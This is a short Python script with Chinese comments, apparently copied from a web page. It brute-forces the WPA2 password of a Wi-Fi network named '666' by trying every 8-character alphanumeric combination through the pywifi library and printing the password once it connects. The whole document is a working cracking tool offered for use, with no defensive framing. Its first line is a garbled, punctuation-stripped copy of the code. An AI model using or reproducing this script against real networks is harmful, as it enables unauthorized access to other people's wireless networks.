import itertoolsimport datetimeimport pywififrom pywifi import constimport time# 测试连接返回链接结果def wifiConnectpwd wifi = pywifiPyWiFi ifaces = wifiinterfaces0 ifacesdisconnect wifistatus = ifa
import itertools import datetime import pywifi from pywifi import const import time
测试连接,返回链接结果
def wifiConnect(pwd): wifi = pywifi.PyWiFi() ifaces = wifi.interfaces()[0] ifaces.disconnect()
wifistatus = ifaces.status()
if wifistatus == const.IFACE_DISCONNECTED:
profile = pywifi.Profile()
profile.ssid = "666"
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
ifaces.remove_all_network_profiles()
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
time.sleep(0.5)
return ifaces.status() == const.IFACE_CONNECTED
生成密码列表
def generate_passwords(words, length): for password in itertools.product(words, repeat=length): yield ''.join(password)
def readPassword(): print("开始破解:") words = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM' length = 8
passwords = generate_passwords(words, length)
for password in passwords:
if wifiConnect(password):
print("wifi密码为 ", password)
break
else:
print("密码破解中....密码校对: ", password)
start = datetime.datetime.now() readPassword() end = datetime.datetime.now() print("破解WIFI密码一共用了:{}秒".format(end - start)
原文地址: https://www.cveoy.top/t/topic/iELK 著作权归作者所有。请勿转载和采集!